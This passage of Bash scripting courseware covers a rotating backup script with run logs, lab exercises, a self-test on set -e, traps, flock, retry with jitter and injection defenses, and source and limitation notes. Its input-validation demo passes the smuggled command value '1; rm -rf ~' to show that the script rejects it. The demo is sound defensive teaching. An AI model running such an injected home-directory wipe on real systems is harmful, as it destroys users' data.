log::info "packing $src → $dest/$name"
timeout 300 tar -czf "$tmp" -C "$src" .
tar -tzf "$tmp" >/dev/null || util::die "archive validation failed: $tmp"
chmod 0640 -- "$tmp"
mv -f -- "$tmp" "$dest/$name"

upload() { timeout 30 cp -- "$1" "$2/"; }
util::retry 4 1 upload "$dest/$name" "$remote"
log::info "uploaded to $remote/$name"

# rotation: only handle files matching the naming pattern, sorted by name (i.e. by time), keep the newest $keep
files=("$dest"/data-*.tgz)
if (( ${#files[@]} > keep )); then
  for old in "${files[@]:0:${#files[@]}-keep}"; do
    log::info "deleting old backup ${old##*/}"
    rm -f -- "$old"
  done
fi
log::info "done: keeping $(( ${#files[@]} > keep ? keep : ${#files[@]} )) of the current ${#files[@]} backups"

Key points: glob results are sorted alphabetically, and the timestamp format in the filenames YYYYmmdd-HHMMSS makes alphabetical order equal time order; nullglob ensures the array is empty when there are no backups; .data-…tgz.XXXXXX starts with a dot, so it will not be matched by data-*.tgz ; upload the function has only one command, so in util::retry a conditional context set -e being disabled makes no difference.

Run 4 times and observe the rotation:
cd ~/bashlab/ch04
for i in 1 2 3 4; do bash backup-safe.sh 3; echo "rc=$?"; sleep 1; done
ls -A ~/bashlab/backups
2026-11-17T02:45:13-0500 INFO  backup[1821]: packing ~/bashlab/data → ~/bashlab/backups/data-20261117-024513.tgz
2026-11-17T02:45:13-0500 INFO  backup[1821]: uploaded to ~/bashlab/remote/data-20261117-024513.tgz
2026-11-17T02:45:13-0500 INFO  backup[1821]: done: keeping 1 of the current 1 backups
rc=0
…(runs 2 and 3 are similar)…
2026-11-17T02:45:17-0500 INFO  backup[1875]: packing ~/bashlab/data → ~/bashlab/backups/data-20261117-024517.tgz
2026-11-17T02:45:18-0500 INFO  backup[1875]: uploaded to ~/bashlab/remote/data-20261117-024517.tgz
2026-11-17T02:45:18-0500 INFO  backup[1875]: deleting old backup data-20261117-024513.tgz
2026-11-17T02:45:18-0500 INFO  backup[1875]: done: keeping 3 of the current 4 backups
rc=0
data-20261117-024514.tgz
data-20261117-024516.tgz
data-20261117-024517.tgz
Input validation:
bash backup-safe.sh 0; echo "rc=$?"
bash backup-safe.sh '1; rm -rf ~'; echo "rc=$?"
2026-11-17T02:45:19-0500 ERROR backup[1895]: keep count must be a positive integer: 0
rc=2
2026-11-17T02:45:19-0500 ERROR backup[1896]: keep count must be a positive integer: 1; rm -rf ~
rc=2
Concurrency (needs flock): in one terminal flock ~/bashlab/opsctl/var/lock/backup.lock sleep 20, run backup-safe.sh, it should exit immediately with 1 and print lock busy: …/backup.lock (another opsctl running?).
Interruption: change ~/bashlab/data to a large directory (or insert sleep 10 & wait $! before tar), run it, send TERM, and confirm ~/bashlab/backups/.data-* there are no leftovers, and existing backups are unchanged.
Non-backup files are unaffected: touch ~/bashlab/backups/'README important.txt' After running 4 more times, that file still exists.
Cleanup:
rm -rf -- ~/bashlab/backups ~/bashlab/remote
Acceptance checklist

Open self-test (answer yourself first, then expand the reference answers)

1. Explain in one sentence why if deploy; then … in the deploy function body, set -e does not take effect.

The Bash manual specifies: a function or compound command executed in a context where -e is ignored (such as an if test) has all of its commands unaffected by -e; even if set -e is re-issued inside the function, it only takes effect after the outer command finishes.

2. What should the ERR trap, EXIT trap and INT trap each be responsible for?

ERR: report the failing command, exit code and call stack; EXIT: the single cleanup point, responsible for deleting temporary files, ending child processes, restoring state and preserving the exit code; INT/TERM: log and exit 128+N, turn the signal into one normal exit, leaving cleanup to EXIT.

3. Why must atomic replacement require the temporary file and the target to be in the same directory (same filesystem)?

Within one filesystem, mv calls rename(2), which atomically switches the directory entry; across filesystems mv degrades to copy + delete, and readers may see an incomplete file.

4. When is the flock lock released? Why must the lock file not be deleted?

The kernel releases it automatically when all fds referencing that open file description are closed (process exit, including SIGKILL); child processes inheriting the fd extend the hold time. After the lock file is deleted, a new process creates a new inode and locks it immediately, entering the critical section at the same time as a process still waiting on the old inode.

5. Why does exponential backoff still need jitter? Which errors should not be retried?

Without jitter, clients that failed together retry at the same moment, and the thundering herd is merely postponed; full jitter spreads retries evenly. Usage errors (2), command not found (127), not executable (126), and 4xx parameter-validation failures should not be retried; non-idempotent operations should be retried only when an idempotency key is available.

6. List three entry points where “data is treated as code”, and the corresponding defenses.

Unquoted expansions (word splitting, globbing) → double quotes and arrays; eval / bash -c / ssh remote commands → avoid eval, use printf %q when necessary; arithmetic contexts ((( )), [[ -gt ]], array subscripts) → validate numbers with a regex first; sourcing a config file → parse it as KEY=VALUE.

Final quiz (12 questions, covering all modules)

Sources and version notes

Verification basis for all technical facts in this lesson (verified 2026-11-17)
TopicVerified conclusionSources (accessed 2026-11-17)
Bash versionGNU Bash 5.3 was released on 2025-07-05 (bug-bash mailing list announcement); new features include ${ cmd; } / ${| cmd; } command substitution,GLOBSORT; man page footer “GNU Bash 5.3 · 2025 April 7”bug-bash 2025-07 announcement · bash(1) man7.org
set -e Definition and exceptionsVerbatim quotation: pipeline/list/compound exits on non-zero; while/until, if/elif, non-last in &&/||, non-last in a pipeline (affected by pipefail),! negation does not exit; compound commands and functions executed in an ignored context are internally unaffected by -e; each subshell is independent; the ERR trap runs before exitThe Set Builtin(content checked against bash(1) on man7.org)
-u,-E,-T,pipefailmanual text in Modules 1 and 2Same as above
inherit_errexit“command substitution inherits the value of the errexit option, instead of unsetting it in the subshell environment”; enabled in POSIX mode; introduced in 4.4The Shopt Builtin
trapEXIT/ERR/DEBUG/RETURN semantics; ERR has the same exceptions as -e; signals ignored when a non-interactive shell starts cannot be trappedBourne Shell Builtins · Signals
mktempdefault template tmp.XXXXXXXXXX; files u+rw, directories u+rwx minus umask; -u marked unsafe; -t deprecated (GNU coreutils 9.11)mktemp(1)
flock-n,-w,-E (default 1),-o,-u,-s/-x source text and man page examples (util-linux 2.43 development page, 2026-05)flock(1)
timeoutexit codes 124/125/126/127/137,-k,-s,--preserve-status,--foreground (GNU coreutils 9.11)timeout(1)
Backoff and jitterFull Jitter: sleep = random_between(0, min(cap, base * 2 ** attempt))AWS Architecture Blog
curl retry--retry “transient errors”: timeouts, HTTP 408/429/500/502/503/504curl man page
Best practicesBashFAQ/105 (set -e), /045 (single instance), /062 (temporary files), /048 (eval), /020 (filenames); BashPitfalls; Google Shell Style GuideWooledge BashFAQ · Google Shell Style Guide

Notes on actual runs

Output labeled “Actual run result (Bash 5.2.37)” was really executed on 2026-11-17 in the authoring environment (GNU bash 5.2.37(1)-release, Git for Windows / MSYS2, GNU coreutils 8.32): Module 0's 12 scenario scripts, Module 1's PIPESTATUS / nounset / inherit_errexit / SIGPIPE, Module 2's trap order, call stacks, signal deferral and SIGINT ignored in background, Module 3's atomic report and interruption cleanup, Module 5's log filtering, Module 6's timeout and util::retry, Module 7's word splitting / %q / arithmetic injection, and Module 8's full opsctl v0.2 flow (except flock; the 7 v0.1 files were taken as-is fromthe Lesson 3 capstone lab, and v0.2 was modified on top of them and then run as a whole), plus the backup script of the capstone lab. util::retry <tries> <delay> <cmd> [args…] 's signature matches the Lesson 6 convention. These semantics do not change between Bash 5.2 and 5.3, but times, PIDs, random suffixes and backoff times differ every run.

Video verification notes

The following videos had their titles and channels verified via the YouTube oEmbed API on 2026-11-17: Learn Linux TV “How To Write Bash Scripts In Linux - Complete Guide (Part 6 - Exit Codes)” (6N4RNPRx0xs), “Bash Scripting for Beginners: Complete Guide to Getting Started - Data Streams (Part 11)” (X8X8anN6Z4A), “How To Write Bash Scripts In Linux - Complete Guide (Part 17 - Backup Script)” (8ga0xhZuG6k); freeCodeCamp.org “Bash Scripting Tutorial for Beginners” (tK9Oc6AEnR4); linuxhint “Bash Scripting Full Course 3 Hours” (e7BufAVwDiM). English videos that specifically explain set -e exceptions, trap order, mktemp, flock, backoff and shell injection were all no verified entries were found, so the corresponding modules provide storyboards and authoritative documentation.

Audio narration notes

The “Audio” page uses the browser's Web Speech API (speechSynthesis, en-US) to read the script aloud in real time; English terms are pronounced with en-US; the result depends on the voices installed in the operating system. This courseware does not embed MP3; for offline audio, pass the script to any TTS tool.

Known limitations

  • flock was not actually run: the authoring environment had no util-linux flock, so the locking output in Modules 4 and 8 is marked as “examples”; in Module 8 and the capstone lab, the remaining export and backup flows were run with a no-op flock stub.
  • The authoring environment's automation policy does not allow creating files starting with - and running deletion demos, so the Module 7 lab (weird-name files) output is an example; word splitting,%q, arithmetic injection are actual run results.
  • Times, PIDs, paths, random suffixes and lslocks column widths in the “Expected output (example)” blocks are example values; absolute paths in actual run results have been abbreviated to ~.
  • File permissions are meaningless on Windows (MSYS2); mktemp's 600/700 permissions follow the GNU manual; signal behavior on Linux versus MSYS2 has been checked within the scope of this lesson (trap deferral, SIGINT ignored in background, 128+N exit codes), but reproducing on Linux is still recommended.
  • Local test: without a TERM trap, the process is killed by TERM; Bash still runs the EXIT trap, but the $? exit status is 0 and does not reflect the signal; this behavior is not a POSIX guarantee (dash and others do not do it), so this lesson consistently recommends an explicit trap for INT/TERM.
  • set -u The exit code caused by bash -c is 127 on this machine under; different invocation methods may give different results, so scripts should only rely on “non-zero”.
  • In the uutils coreutils that is Ubuntu 26.04's default, mktemp,timeout error text may differ from GNU; exit code conventions follow the GNU manual; please test before use.
  • The flows and numbers in the animations (such as the random waits in the backoff simulation and the concurrency timelines) are illustrative, used to explain the mechanisms; the rules match this lesson's measured results.